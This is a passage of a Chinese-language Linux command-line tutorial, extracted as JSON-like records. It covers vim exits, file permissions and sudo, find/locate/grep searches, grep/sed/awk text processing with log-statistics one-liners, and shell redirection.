# 可视模式（Ctrl-V 是列块模式，批量给多行加前缀）",{"id":132164,"title":77898,"titles":132165,"content":132166,"level":357},"\u002Ftutorials\u002Flinux#_5-怎么退出-vim这个梗的正确解法",[74425,77370],"网上「如何从 vim 退出」的笑话，真实成因是：用户按了 i 进入插入模式，改完直接敲 :q!，结果 : q ! 被当成普通文本写进了文件。解法固定三步： 连按 Esc 两三次（保证回到普通模式）； 输入 :q! 然后 Enter（不想保留改动）或 :wq（保留）； 如果底部显示 E37\u002FE1734 之类的报错，说明还有未保存内容或输入被当命令解析，先 u 撤销刚才误打的字符再 :q!。",{"id":132168,"title":77951,"titles":132169,"content":132170,"level":357},"\u002Ftutorials\u002Flinux#_6-只有-vi-时的应急改行",[74425,77370],"精简镜像里 vim 可能不存在（只有硬链接的 vi，且是 vi-compatible 模式），改一行配置有两种不动编辑器的办法： sed -i.bak 's\u002F^# *listen_port.*\u002Flisten_port 9080;\u002F' \u002Fetc\u002Fapp\u002Fapp.conf\n# -i.bak 原地修改并先留 .bak 备份；s 命令末尾的分号是给 nginx 的语法，别多别少\n\nprintf '%s\\n' 'user deploy;' 'worker_processes auto;' > \u002Fetc\u002Fapp\u002Fapp.conf.new\n# 小配置文件可以直接重建 改完先验语法再重载：nginx -t && systemctl reload nginx。真要用 vi 应急，键位与 vim 完全一致（i、Esc、:wq），只是缺多级撤销和语法高亮。",{"id":132172,"title":75156,"titles":132173,"content":132174,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-3",[74425,77370],":w 报 E45: 'readonly' option is set：文件不可写。别退出去 sudo vim 重来，直接 :w !sudo tee % 就能以 root 写回当前缓冲。 :q 拒绝退出报 E37，别急着 :q! 丢掉半小时改动，先 :w!；确实不要了再 :q!。 vim 保存后文件属主变成 root（用 sudo vim 改的），导致应用写不了日志——要么 chown 回去，要么改用 :w !sudo tee %。 编辑器里「粘贴的代码乱七八糟缩进」：vim 需要 :set paste（或新版 :set pastetoggle=\u003CF3>），否则会自动缩进把每行叠歪。",{"id":132176,"title":78095,"titles":132177,"content":132178,"level":341},"\u002Ftutorials\u002Flinux#五权限与属主chmodchownsudo",[74425],"Permission denied 是 Linux 里出现频率最高的错误，而它的成因至少有六种：文件权限、目录缺 x、属主不对、SELinux、capabilities、进程用的不是你以为的用户。这一章先把「读权限位」练熟，再给一套安全的修改顺序。",{"id":132180,"title":78112,"titles":132181,"content":132182,"level":357},"\u002Ftutorials\u002Flinux#_1-先学会读权限位",[74425,78095],"字符位 对文件 对目录 r 能读内容（cat） 能列出名字（ls 目录本身） w 能改内容（写同一文件） 能在里面创建\u002F删除文件（真正的删除权看目录，不看文件！） x 能执行（配合 r 才能跑脚本） 能进入（cd）并访问其中的已知文件名 关键结论：目录的 x 比文件本身的权限更决定性。chmod 644 app.sh 之后脚本不能跑是缺文件 x；而 .\u002Fapp.sh 报 Permission denied 有时是它的父目录缺 x——没有 x 就无法解析路径，哪怕文件是 777。典型事故：家目录 chmod 700 ~ 之后，别人 cat \u002Fhome\u002Fdeploy\u002Fx.txt 必失败，即使 x.txt 是 644。 数字法：r=4、w=2、x=1，每组三位相加： 数字 含义 常见用途 644 rw-r--r-- 普通文件默认（配置、图片、代码） 755 rwxr-xr-x 可执行文件、脚本、目录默认 600 rw------- 私钥、含密码的配置 700 rwx------ .ssh 目录、只给自己看的目录 664 rw-rw-r-- 团队协作目录里的文件（配合组权限） 775 rwxrwxr-x 组内共享的目录 777 rwxrwxrwx 不要用，见下",{"id":132184,"title":78371,"titles":132185,"content":132186,"level":357},"\u002Ftutorials\u002Flinux#_2-chmod-修改权限",[74425,78095],"示例 1：数字法（整套设置） chmod 644 app.conf     # 属主可读写，属组和其他人只读\nchmod 755 deploy.sh    # 属主可执行，其他人可读可执行 示例 2：符号法（改单个位，安全且不牵连其他位，推荐） chmod u+x deploy.sh       # u=属主 +执行位\nchmod g+w app.sh          # g=属组 加写权限\nchmod o-rwx private.conf  # o=其他人 去掉全部权限；a=全部人\nchmod -R a+rX \u002Fsrv\u002Fapp    # 大写 X：只给目录或已是可执行文件加 x —— 修目录树的最佳写法 chmod -R a+rX \u002Fsrv\u002Fapp 是「让所有人能读，但只给目录和已有的可执行文件加执行位」的标准解法；写成 chmod -R 777 会把配置文件也变可执行，还会打开目录写权限。 示例 3：特殊位 chmod u+s helper    # setuid：执行时以文件属主（root）身份，如 passwd\nchmod g+s dir       # setgid：目录里新建文件继承目录的组，团队共享目录用\nchmod o+t dir       # sticky：目录里只有属主能删自己文件，如 \u002Ftmp chmod 777 的真实风险：任何本地用户都能改你的代码和脚本（配合 cron 或 web 目录可直接提权），多数服务（sshd、nginx）还会因为权限过宽拒绝启动。正确替代顺序：先 chown -R appuser:appgroup 找对属主，再 chmod -R a+rX（或 755\u002F775）给最小权限。setuid 文件如果被写权限打开，等于本机任何用户能拿到 root，排查：find \u002F -xdev -perm -4000 -type f 2>\u002Fdev\u002Fnull（顺便看看有没有不认识的）。",{"id":132188,"title":78558,"titles":132189,"content":132190,"level":357},"\u002Ftutorials\u002Flinux#_3-chown-与-chgrp-修改属主属组",[74425,78095],"示例 1：改属主、改属组 chown deploy:app app.py        # 同时改属主和属组；普通用户不能把文件送给别人，只有 root 能\nchgrp -R www-data logs         # 只改属组；比 chown 温和，不需要 root 也能改自己组的\nchown -R app:app \u002Fsrv\u002Fapp      # -R 递归整棵目录树\nchown -h link newtarget        # -h 改软链接本身，而不是它指向的文件 示例 2：大范围改动的安全网 chown -R --from=root app \u002Fsrv\u002Fapp       # --from 只改当前属主是 root 的文件，避免误改新加的文件\nfind \u002Fsrv\u002Fapp ! -user deploy -print | head   # 递归前先用它跑一遍确认范围 改属主时的三个雷： chown -R 在目录树里遇到别人正在写的数据库文件会打断服务——先停服务再改。 递归前先跑一遍确认范围（上面的 find）。 \u002Fsrv、\u002Fvar\u002Fwww 这类由包管理器维护的目录，chown -R root:root 之后可能连 apt 都跑不动。",{"id":132192,"title":78711,"titles":132193,"content":132194,"level":357},"\u002Ftutorials\u002Flinux#_4-umask-新文件的默认权限",[74425,78095],"umask 是「新建文件时要屏蔽掉的位」。文件最多 666，目录最多 777，然后按位与 ~umask。 umask 新文件 新目录 场景 022 644 755 默认（系统用户、多数发行版） 002 664 775 团队协作组（配合共同属组） 077 600 700 安全敏感环境 027 640 750 常见服务器加固基线 示例 1：查看与设置 umask        # 查看，输出如 0002\numask -S     # 符号形式（u=rwx,g=rx,o=），好读\numask 027    # 只对当前 Shell 及其子进程生效，写进 ~\u002F.bashrc 才持久 坑：umask 只影响新建文件，不改动已存在的文件；用 mkdir 建了一半才发现 umask 不对，用 chmod -R a+rX 补。systemd 服务可以单独设 UMask=0027（在 unit 里），与登录 Shell 的 umask 无关——很多人卡在这里。",{"id":132196,"title":78879,"titles":132197,"content":132198,"level":357},"\u002Ftutorials\u002Flinux#_5-sudo-与-su-换用户的方式不同",[74425,78095],"维度 sudo cmd sudo -i \u002F su - su cmd 需要谁的密码 通常自己的密码 sudo -i 自己；su - 目标用户（root） 目标用户 环境 保留大部分（secure_path） 完整登录环境 不完整（su - 才完整） 审计 每条命令写进 \u002Fvar\u002Flog\u002Fauth.log 或 journal 记会话 只记会话 可精细授权 能（只允许某些命令） 等价于给整个 shell 否 典型用途 跑一条特权命令 长期在 root 下操作 容器里 root 切普通用户 示例 1：常用写法 sudo !!                            # 上一条命令忘了加 sudo，重跑\nsudo -u appuser .\u002Fworker.sh        # 以某个服务用户身份跑（比给它 root 权限安全）\nsudo -i                            # 拿到 root 的登录 shell（读 \u002Froot\u002F.profile）\nsudo -l                            # 列出我当前被允许做什么（排查「为什么这个 sudo 不行」）\nsudo -v                            # 只刷新凭据缓存，测试密码对不对\nsudo --preserve-env=PATH cmd       # 需要保留自己的 PATH 时（默认 sudo 会重置） 示例 2：改 sudoers 的正确流程 \u002Fetc\u002Fsudoers 永远不要直接 vim 改——语法错了会把所有 sudo 权限锁死。 sudo visudo -c                        # 先检查现有语法\nsudo visudo                           # 用 visudo 打开（编辑完保存前自动校验）\nsudo visudo -f \u002Fetc\u002Fsudoers.d\u002Fdeploy  # 最好：单独放一个 drop-in 文件 drop-in 里写权限要最小化： deploy ALL=(ALL) NOPASSWD: \u002Fbin\u002Fsystemctl restart nginx, \u002Fbin\u002Fsystemctl status nginx visudo 默认用 vi；想换 EDITOR=nano sudo -E visudo（-E 保留环境变量，否则换不了）。sudoers 目录里最后加载的文件生效，\u002Fetc\u002Fsudoers.d\u002F 里的覆盖主文件，命名别带 . 和 ~（会被忽略，README 那种文件写权限进去会炸）。",{"id":132200,"title":79171,"titles":132201,"content":132202,"level":357},"\u002Ftutorials\u002Flinux#_6-特殊权限位一览",[74425,78095],"位 数字 表现 作用 常见例子 setuid 4000 属主执行位是 s（rwsr-xr-x） 执行时以文件属主身份（root） passwd、ping（旧式） setgid 2000 属组执行位是 s（rwxr-sr-x） 文件：执行时以属组身份；目录：新建文件继承目录的组 团队共享目录 chmod g+s \u002Fsrv\u002Fshared sticky 1000 其他人执行位是 t（drwxrwxrwt） 目录里只有属主能删自己的文件 \u002Ftmp",{"id":132204,"title":79278,"titles":132205,"content":132206,"level":357},"\u002Ftutorials\u002Flinux#_7-setfacl-getfacl-既要给第三个人读又不要给其他人",[74425,78095],"普通权限只有三档，遇到「给某个组加读写、其他人不动」就需要 ACL： getfacl \u002Fsrv\u002Fapp\u002Fdata                          # 查看（含默认 ACL）\nsetfacl -m u:backup:rx \u002Fsrv\u002Fapp\u002Fdata          # -m 加一条：给用户 backup 读+执行\nsetfacl -m d:g:deploy:rwX \u002Fsrv\u002Fshared         # d: 默认 ACL，新建文件自动继承\nsetfacl -x u:backup \u002Fsrv\u002Fapp\u002Fdata             # -x 删一条\nsetfacl -R -b \u002Fsrv\u002Fapp                        # -b 递归清空所有 ACL ls -l 末尾出现 +（如 -rw-rw-r--+）就说明有 ACL。坑：文件系统必须挂载带 acl 选项（现代 ext4\u002Fxfs 默认支持），NFS 上还要服务端配合；容器里 setfacl 常因缺 acl 包报错。",{"id":132208,"title":79381,"titles":132209,"content":132210,"level":357},"\u002Ftutorials\u002Flinux#_8-为什么-permission-denied排查清单",[74425,78095],"检查顺序 命令 判断 1. 谁在执行这条操作 ps -o user= -p $(pgrep -f worker) nginx 是 www-data，你以为是 deploy 2. 文件本身与所有父目录的权限 namei -l \u002Fsrv\u002Fapp\u002Flogs\u002Fapp.log 一眼看全链路，父目录缺 x 立刻现形 3. 属主属组是否符合预期 stat -c '%U %G %a' file 部署脚本用 root 建的文件，进程写不了 4. 是否 SELinux\u002FAppArmor 拦的 sudo ausearch -m avc -ts recent；getenforce 临时验证：sudo setenforce 0（测完必须 setenforce 1 恢复） 5. 文件系统挂载是否 ro 或 noexec findmnt -T \u002Fsrv\u002Fapp 看到 ro 就是磁盘只读挂载（第十四章） 6. 磁盘\u002Finode 满（报的是别的错但很像权限） df -h; df -i No space left on device vs Read-only file system 7. 目录缺 x、文件缺 r 的具体组合 sudo -u appuser cat \u002Fsrv\u002Fapp\u002Fx 用真实身份复现最快 8. 服务被沙箱限制 systemctl cat myapp 看 ProtectSystem=、ReadWritePaths= systemd 加固参数导致写不了 SELinux 一句话说明：getenforce 返回 Enforcing 时，即使权限位全对也可能被安全上下文拒绝，典型表现是 nginx 读得了 \u002Fsrv\u002Fapp 里 644 的文件却报 403。正确修法不是关掉 SELinux，而是 ls -Z 看上下文、semanage fcontext + restorecon 打标签。RHEL 系默认开，Debian\u002FUbuntu 默认没开。",{"id":132212,"title":75156,"titles":132213,"content":132214,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-4",[74425,78095],"改完组权限发现没生效：组成员变更不会作用于已登录的会话，重新登录或 newgrp 组名（第十二章）。 chmod -R 755 把 ~\u002F.ssh 也改了，结果 ssh 立刻连不上：authorized_keys 要 600、.ssh 要 700。 目录给了 w 没给 x（-wx）是极少见的组合：能创建\u002F删除文件但不能列出内容，排查时容易误判，一般不这么配。 权限问题一律用 namei -l 全路径 起手，比一层层 ls -ld 快且不会漏。",{"id":132216,"title":79636,"titles":132217,"content":132218,"level":341},"\u002Ftutorials\u002Flinux#六查找文件findlocategrep-r",[74425],"「这个日志到底在哪」「谁把配置塞到系统里的」「按名字找命令」——三类需求对应 find、locate、type。find 参数多但有固定套路：先缩小范围（路径 + -maxdepth），再定条件（-name\u002F-type\u002F-mtime），最后才加动作（-print\u002F-exec\u002F-delete）。",{"id":132220,"title":79683,"titles":132221,"content":132222,"level":357},"\u002Ftutorials\u002Flinux#_1-find-按名字找",[74425,79636],"find 的基本格式是 find 起点 条件… 动作…，条件之间默认是「与」，! 取反，-o 或（注意 -o 要用括号分组）。 示例 1：按文件名查 find \u002Fsrv\u002Fapp -name '*.log'     # -name 按 glob 匹配文件名；模式必须加引号，否则先被 Shell 展开就废了\nfind . -iname '*.conf'          # -iname 忽略大小写\nfind \u002Fetc -path '\u002Fetc\u002Fnginx\u002F*'  # -path 匹配全路径（glob）；-regex 是全路径正则（GNU） 示例 2：先缩小范围（好习惯） find \u002F -maxdepth 3 -name 'id_rsa'    # -maxdepth 限定层数，要放在条件最前面；放后面会先全扫一遍再截\nfind \u002F -xdev -name '*.env'           # -xdev 不跨文件系统，避免扫进 \u002Fproc、\u002Fmnt、备份盘\nfind . -path .\u002F.git -prune -o -name '*.js' -print   # -prune 跳过子树，比 -not -path 快很多 示例 3：按类型 \u002F 大小 \u002F 时间 \u002F 属主 \u002F 权限 find \u002Fvar -type l                      # -type：f 文件 d 目录 l 链接 s socket b\u002Fc 设备 p 管道\nfind . -size +100M                     # -size 按大小：+\u002F- 号，c 字节、k KiB、M MiB\nfind logs -mtime +7                    # -mtime 按修改天数：-7 七天以内，+7 超过七天，7 正好第七天（按 24h 计，不是日历天！）\nfind . -mmin -10                       # -mmin 按分钟：最近 10 分钟改过，排查「刚刚谁在写文件」很好用\nfind \u002Fetc -newer \u002Fetc\u002Fhostname         # -newer 比某个文件新，比 -mtime 精确；配合 touch -d 造时间锚点\nfind \u002Fhome -user deploy                # -user\u002F-group 按属主；-uid 1001 用于用户已被删除的情况\nfind \u002F -xdev -perm -4000 -type f       # -perm：-4000 至少含这些位（找 setuid），644 完全等于\nfind . -type d -empty                  # -empty 空文件\u002F空目录，清理部署留下的空目录 想精确到「最近 7 天」，最直观的是 -newermt \"2026-09-27\"（强烈推荐），不受 24 小时窗口影响。",{"id":132224,"title":79976,"titles":132225,"content":132226,"level":357},"\u002Ftutorials\u002Flinux#_2-find-的动作-print-exec-delete",[74425,79636],"示例 1：先看范围，再动手 find build -type f -print              # 每个结果一行\nfind . -name '*.tmp' -print0           # -print0 用 \\0 分隔，交给 xargs -0（第八章），处理怪文件名安全 示例 2：对结果执行命令 find . -name '*.tmp' -exec rm -f {} \\;         # -exec … \\; 每个文件 fork 一次；{} 替换为路径\nfind . -name '*.tmp' -exec chmod 644 {} +      # -exec … + 把多个路径塞进一次调用，删\u002Fchmod 大量文件时快得多\nfind . -name '*.jpg' -exec convert {} {}.png \\; # 文件少、命令重时用逐个执行\nfind . -name '*.tmp' -ok rm {} \\;              # -ok 每个都问一次，手生时兜底 示例 3：直接删 find logs -name '*.log' -mtime +7 -delete    # -delete 内置删除，不 fork，隐含 -depth（先删文件后删目录） -delete 与 -exec rm {} + 的差别值得记牢： 维度 -delete -exec rm {} + 速度 快（无 fork，find 自己 unlink） 每个批次 fork 一次 rm 能否跑外部命令 不能 能（-exec sh -c '…' 任意组合） 隐含行为 自动 -depth，先删文件后删目录 需自己保证顺序 对目录 只能删空目录（非空报 Directory not empty） rm -r 能连子树一起删 误删风险 条件写错就当场删完 同样当场删，但可以换成 -print 先看 安全建议 永远先跑一遍去掉 -delete 的版本 同上；-exec rm -i 可加确认 危险的是 -delete 与 -o 组合时优先级误解：find . -name a -o -name b -delete 里 -delete 只作用于 -name b，要用括号 \\( -name a -o -name b \\) -delete。 示例 4：格式化输出做报表 find \u002F -xdev -type f -size +200M -printf '%s\\t%p\\n' | sort -rn | head\n# -printf 常用转义：%p 全路径、%f 文件名、%h 所在目录、%s 字节、%m 八进制权限、\n# %u\u002F%g 属主\u002F组、%TY-%Tm-%Td 日期、%i inode 号（找硬链接）——这是「谁占了空间」的组合拳",{"id":132228,"title":80356,"titles":132229,"content":132230,"level":357},"\u002Ftutorials\u002Flinux#_3-locate-靠数据库快但不实时",[74425,79636],"示例 1：秒查全盘 locate nginx.conf        # 从数据库查，结果可能包含已删除的文件\nlocate -i 'id_rsa*'      # -i 忽略大小写 + glob；默认按子串匹配，-r '^\u002Fetc\u002F' 用正则\nlocate -b '\\.conf'       # -b 只按文件名基名匹配（不被当成路径一部分），少了误报\nsudo updatedb            # 刚建的文件查不到？手动重建数据库 数据库由 \u002Fetc\u002Fupdatedb.conf 决定（PRUNEFS、PRUNEPATHS），NFS\u002FFUSE\u002F容器卷通常被排除，所以「locate 找不到但 find 能找到」多半是这个原因。没装时：Debian apt install mlocate、RHEL 系 dnf install mlocate（新版是 plocate）、Alpine 一般直接用 find。",{"id":132232,"title":80448,"titles":132233,"content":132234,"level":357},"\u002Ftutorials\u002Flinux#_4-grep-r-按内容找文件",[74425,79636],"示例 1：哪些文件里有某个词 grep -rl 'bind_port' \u002Fetc                  # -r 递归、-l 只列文件名\ngrep -rl --include='*.conf' 'listen' \u002Fetc  # 限制文件类型\ngrep -rL 'strict' conf.d                   # -L 反向：输出没有匹配的文件名\ngrep -rn 'bind_port' \u002Fetc                  # -n 显示行号，直接看匹配在哪一行\ngrep -rlZ 'A' dir | xargs -0 grep -l 'B'   # 找两个词都在的文件，注意 -Z\u002F-0 配对 装了 ripgrep 的话 rg -l bind_port 默认尊重 .gitignore 且快一个数量级，开发机上推荐；服务器上不一定有，别写进部署脚本。",{"id":132236,"title":80569,"titles":132237,"content":132238,"level":357},"\u002Ftutorials\u002Flinux#_5-查命令在哪which-whereis-type",[74425,79636],"命令 会找到 例子 局限 which python3 PATH 里的可执行文件 \u002Fusr\u002Fbin\u002Fpython3 看不到别名、函数、内建；不是 POSIX 标准 type -a python3 全部来源（别名\u002F函数\u002F内建\u002F文件） 三条一起列出 交互式排查首选 command -v python3 只输出路径（脚本标准写法） \u002Fusr\u002Fbin\u002Fpython3 内建会输出名字本身 whereis nginx 二进制 + 源码 + man 页 \u002Fusr\u002Fsbin\u002Fnginx \u002Fusr\u002Fshare\u002Fman\u002Fman8\u002Fnginx.8.gz 按固定目录猜，不看 PATH apropos backup 帮助文本里含关键词的命令名 rsync、dump… 需要 man-db 索引存在 readlink -f $(command -v python3) 剥开所有软链接到真实文件 \u002Fusr\u002Fbin\u002Fpython3.12 排查 alternatives 时常用",{"id":132240,"title":75156,"titles":132241,"content":132242,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-5",[74425,79636],"find 的 -name 忘加引号：find \u002F -name *.log 会被当前目录里的 *.log 先展开，结果扫的是无关名字。 -mtime -7 与「最近 7 天」的直觉不完全一致（按 24 小时窗口而非日历天），要精确到分钟用 -mmin -10080 或 -newermt \"2026-09-27\"（后者最直观，强烈推荐）。 find 输出直接喂给 xargs 会被空格\u002F换行坑到，一律 -print0 配 xargs -0。 在 \u002F 上跑 find 会大量报 Permission denied：加 2>\u002Fdev\u002Fnull 静音，或用 -xdev 限制在当前文件系统。",{"id":132244,"title":80770,"titles":132245,"content":132246,"level":341},"\u002Ftutorials\u002Flinux#七文本处理三剑客grepsedawk",[74425],"日志分析、配置批改、数据统计，靠的就是 grep（找）、sed（改行）、awk（按列算）。再加五个小工具 sort、uniq、cut、tr、wc，能解决 95% 的「文本加工」需求。awk 与 sed 的分工一句话：改文本用 sed，算数据用 awk。",{"id":132248,"title":80813,"titles":132249,"content":132250,"level":357},"\u002Ftutorials\u002Flinux#_1-grep-查找匹配的行",[74425,80770],"grep 基本格式：grep [选项] 模式 文件…。 示例 1：基础查找 grep 'ERROR' app.log         # 输出包含 ERROR 的行\ngrep -i error app.log        # -i 忽略大小写\ngrep -n 'listen' nginx.conf  # -n 显示行号\ngrep -c 'ERROR' app.log      # -c 只输出匹配的行数\ngrep -w 'id' data.txt        # -w 整词匹配，不会命中 width\ngrep -v '^#' app.conf        # -v 反选（排除），常用它去注释\ngrep -F '1.2.3' version.txt  # -F 按字面字符串匹配（不当正则），最快最安全\ngrep -m 1 'Start' big.log    # -m 1 匹配到第一条就停，大文件里找开头很有用 示例 2：正则匹配 grep -E 'ERROR|FATAL' app.log                  # -E 扩展正则，或直接用 |（等价 egrep，但别再用 egrep）\ngrep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log  # -o 只输出匹配到的部分——抠 IP\ngrep '\\broot\\b' pass.conf                      # \\b 词边界（GNU）\ngrep '[[:space:]]$' conf                       # 找行尾空格（[[:digit:]] 类写法不受 locale 影响） 正则元字符记忆表（ERE，即 -E 模式）： 写法 含义 例子 . * + ? 任意字符 \u002F 0 或多 \u002F 1 或多 \u002F 0 或 1 ^GET .* 200$ [0-9]、[[:digit:]] 字符类（后者不受 locale 影响） grep '[[:space:]]$' conf 找行尾空格 {n,m} 出现次数区间 grep -E '[0-9]{1,3}(\\.[0-9]{1,3}){3}' 粗查 IP | 或 -E 'warn|error' ^ $ 行首 \u002F 行尾 grep -c '^$' 数空行 \\b 词边界（GNU） grep '\\broot\\b' 示例 3：上下文与多文件 grep -C 3 'Traceback' app.log    # -C 3 上下各 3 行；-A 只有后、-B 只有前\ngrep -rl 'TODO' src              # -l 只输出文件名\ngrep -q 'pattern' f && echo 有    # -q 不输出只给状态码，脚本判断「有没有搜到」专用\ntail -f app.log | grep --line-buffered ERROR   # 实时管道必备 --line-buffered",{"id":132252,"title":81214,"titles":132253,"content":132254,"level":357},"\u002Ftutorials\u002Flinux#_2-sed-按行替换与删除",[74425,80770],"sed 把输入按行读进「模式空间」，执行脚本后输出。核心是 s\u002F找\u002F换\u002F标志。 示例 1：替换 sed 's\u002Fold\u002Fnew\u002F' file         # 每行第一个匹配替换；只输出到终端，不改文件\nsed 's\u002Fold\u002Fnew\u002Fg' file        # g 每行全部替换——不加 g 是常见遗漏\nsed 's\\|\u002Fa\u002Fb\\|\u002Fa\u002Fc\\|g' file   # 换分隔符避开路径里的 \u002F，也可用 #、@\nsed 's\u002Fx\u002Fy\u002F2' file            # 只替换每行第 2 个匹配\nsed -E 's\u002F([0-9]+)\u002F[\\1]\u002Fg'    # -E 扩展正则；() 分组、\\1 回引用、& 代表整段匹配 注意 BRE（默认）与 ERE（-E）的区别：BRE 里 + ? {} 要写成 \\+ \\? \\{，-E 后反过来不转义。 示例 2：取行与删行 sed -n '10,20p' file      # -n 关掉默认输出 + p 只打印 10–20 行\nsed '5d' file             # d 删第 5 行；'5,9d' 删区间\nsed '\u002F^$\u002Fd' file          # 删空行（匹配用 \u002F正则\u002F 代替行号）\nsed '\u002Fpattern\u002Fd' file     # 删含 pattern 的行；想删它的下一行用 pattern\u002F{n;d}\nsed -n '\u002FERROR\u002F,+3p' file # 匹配行及其后 3 行（GNU 扩展 +N） 示例 3：原地修改（先留备份！） cp \u002Fetc\u002Fssh\u002Fsshd_config \u002Fetc\u002Fssh\u002Fsshd_config.$(date +%F)\nsed -i 's\u002F^# *PasswordAuthentication yes\u002FPasswordAuthentication no\u002F' \u002Fetc\u002Fssh\u002Fsshd_config\ndiff \u002Fetc\u002Fssh\u002Fsshd_config.$(date +%F) \u002Fetc\u002Fssh\u002Fsshd_config -i 表示 in-place 原地修改，写成 -i.bak 会自动留一份备份。差异提醒：BusyBox 不支持 -i 带后缀（写成 -i -e）；macOS 必须给 -i ''。-i 会重建文件（新 inode），所以正在被 tail -F 跟的日志、以硬链接方式共享的文件、被进程按 inode 持有的文件都会受影响；nginx 之类的配置文件改完必须 reload 才生效。安全习惯：先不带 -i 跑一遍确认输出，再动手。",{"id":132256,"title":81484,"titles":132257,"content":132258,"level":357},"\u002Ftutorials\u002Flinux#_3-awk-按列算数据",[74425,80770],"awk 默认以空白分列，$1 是第一列、$0 是整行、NF 是列数、NR 是行号；结构是 '条件 {动作}'。 示例 1：取列 awk '{print $1, $9}' access.log      # 打印第 1 列（客户端 IP）和第 9 列（状态码）\nawk '{print $NF}' file               # $NF 是最后一列（列数不定时必备）\nawk -F'\"' '{print $6}' access.log    # -F 用 \" 分列，第 6 段常是 URL\nawk -F'\\t' '$5==\"WARN\"' logs.tsv     # 制表符分隔 + 精确匹配某列 示例 2：按条件过滤 awk '$9 == 500' access.log           # 只输出状态码 500 的行\nawk '$3 > 1000 {print $1}' stat.txt  # 数值条件（字符串自动当数） 示例 3：聚合统计（awk 最经典的用法） awk '{a[$1]++} END {for (k in a) print a[k], k}' access.log | sort -rn | head\n# 按第 1 列计数、输出「次数 名字」再排序——Top N 统计的万能骨架\n\nawk 'NR>1 {sum += $2} END {print sum\u002F(NR-1)}' data.txt   # 跳过表头求平均\nawk -F, 'END {print NR}' data.csv                        # 数行数（比 wc -l 稳，能处理无末尾换行）\nawk 'count[$7]++ > 0 {print $7} END {exit}' access.log   # 找出第一个重复出现的 URL\nawk 'BEGIN {OFS=\",\"} {print $1,$2}'                      # OFS 控制输出分隔符 内置变量与函数速记：FS\u002FOFS 输入输出分隔符、ORS 输出记录分隔符（设 \"\" 可拼接行）、FILENAME、FNR（当前文件的行号，多文件时与 NR 不同）、length()、split()、sub()\u002Fgsub()、sprintf()、toupper()、match() + RSTART\u002FRLENGTH。",{"id":132260,"title":81759,"titles":132261,"content":132262,"level":357},"\u002Ftutorials\u002Flinux#_4-sortuniqcuttrwcpaste-五个过滤器",[74425,80770],"sort file                # 默认字典序；受 locale 影响，脚本里加 LC_ALL=C 保证按字节稳定\nsort -n                  # 按数字排（否则 10 排在 9 前面）\nsort -h                  # 按人读大小排：2K 1G 10M 能正确排\nsort -r                  # 降序\nsort -V                  # 版本号感知：v1.10 排在 v1.9 后\nsort -t: -k3,3n \u002Fetc\u002Fpasswd    # -t 指定分隔符；-k3,3n 按第 3 列数字排。注意 ,3 不能省——\n                               # 只写 -k3 会从第 3 列一直排到行尾，结果和预期不符\nsort -u                  # 去重（需已排序，等价 sort | uniq）\nsort -m                  # 合并多个已排序文件\n\nuniq -c file             # 合并「相邻」重复行并计数——所以前面必须先 sort，否则看起来完全没去重\ncut -d: -f1 \u002Fetc\u002Fpasswd  # -d 分隔符 + -f 取列；-f1-3 区间、--complement 取反列；只支持单字符分隔符\ntr -d '\\r' \u003C win.txt     # tr 逐字符替换\u002F删除：删 CR、tr ' ' '\\n' 一行变多行、tr a-z A-Z 转大写\nwc -l file               # 行数；-w 词数、-c 字节数；多文件会额外给 total 行\npaste a.txt b.txt        # 按列并文件；-d, 指定分隔、-s 转置行列",{"id":132264,"title":81925,"titles":132265,"content":132266,"level":357},"\u002Ftutorials\u002Flinux#_5-三个日志统计的一行命令照抄可用",[74425,80770],"场景：\u002Fsrv\u002Fapp\u002Flogs\u002Faccess.log，nginx combined 格式（IP - - [时间] \"方法 路径 协议\" 状态 字节 \"referer\" \"ua\"）。 awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10    # 1) 哪个 IP 请求最多（Top 10）\nawk '{print $9}' access.log | grep -v '^2' | sort | uniq -c | sort -rn  # 2) 状态码分布（只看非 2xx）\nawk '{print $NF, $7}' access.log | sort -rn | head -20                 # 3) 最慢的 20 个请求（假设 $NF 是耗时） 三条命令的结构都是「取列 → 归并计数 → 排序 → 截断」，学会一条就等于学会一片。想按小时聚合访问量，用 -o 抠出时间里的小时： grep -oE '\\[[^] ]+ [0-9]{2}' access.log | awk '{print $2}' | sort | uniq -c",{"id":132268,"title":75156,"titles":132269,"content":132270,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-6",[74425,80770],"grep 在 sh 脚本里用 grep -E，别再用废弃的 egrep（新版会打 warning）。 管道里最后一个命令的退出码才是 $?（第八章讲 pipefail）。判断「有没有搜到」用 grep -q：它不输出只给状态码，if grep -q 'pattern' f; then。 sed -i 无备份直接改生产配置出事后无从回滚；养成 sed -i.bak 或先 cp 的习惯，改完 diff 一眼。 awk 里字符串比较要写 $5 == \"WARN\" 而不是 $5 = \"WARN\"——一个等号是赋值，永远为真，这是 awk 最隐蔽的错误。 uniq 忘 sort 会得到「看起来完全没去重」的结果；反之 sort -u 会静默改变顺序语义（等价 sort | uniq）。",{"id":132272,"title":82165,"titles":132273,"content":132274,"level":341},"\u002Ftutorials\u002Flinux#八管道重定向与命令组合",[74425],"Shell 的表达能力几乎全在这一章：把 stdout 接给下一个命令（|），把输出\u002F错误写到别处（>、2>），把几条命令串成逻辑（&&、||）。搞不清这三个，脚本就只能写成猜谜。",{"id":132276,"title":82193,"titles":132277,"content":132278,"level":357},"\u002Ftutorials\u002Flinux#_1-重定向-三个流与-2",[74425,82165],"每个进程有三个标准流：0 stdin、1 stdout、2 stderr。 cmd > out.txt            # stdout 覆盖写文件\ncmd >> out.txt           # 追加——日志文件必备，> 会把历史冲掉\ncmd 2> err.txt           # stderr 单独写文件，只看错误\ncmd > out.txt 2>&1       # stderr 并入同一个 stdout 再一起进文件。经典写法，顺序不能反！\ncmd 2>&1 > out.txt       # 反例：stderr 去了终端，stdout 才进文件（按从左到右解析）\ncmd &> out.txt           # 两者都进文件（bash 简写）；POSIX sh 里没有，讲可移植时别用\ncmd > \u002Fdev\u002Fnull 2>&1     # 全部丢进黑洞，让 cron 安静运行\ncmd \u003C in.txt             # stdin 来自文件\ncmd 1>&2                 # stdout 改道 stderr，让日志统一被 2> 捕获 >| 强制覆盖（即使开了 set -o noclobber）；&> 与 >| 都是 bash 扩展。判断命令失败用 $?：0 成功、非 0 失败，具体数字看 man 的 EXIT STATUS 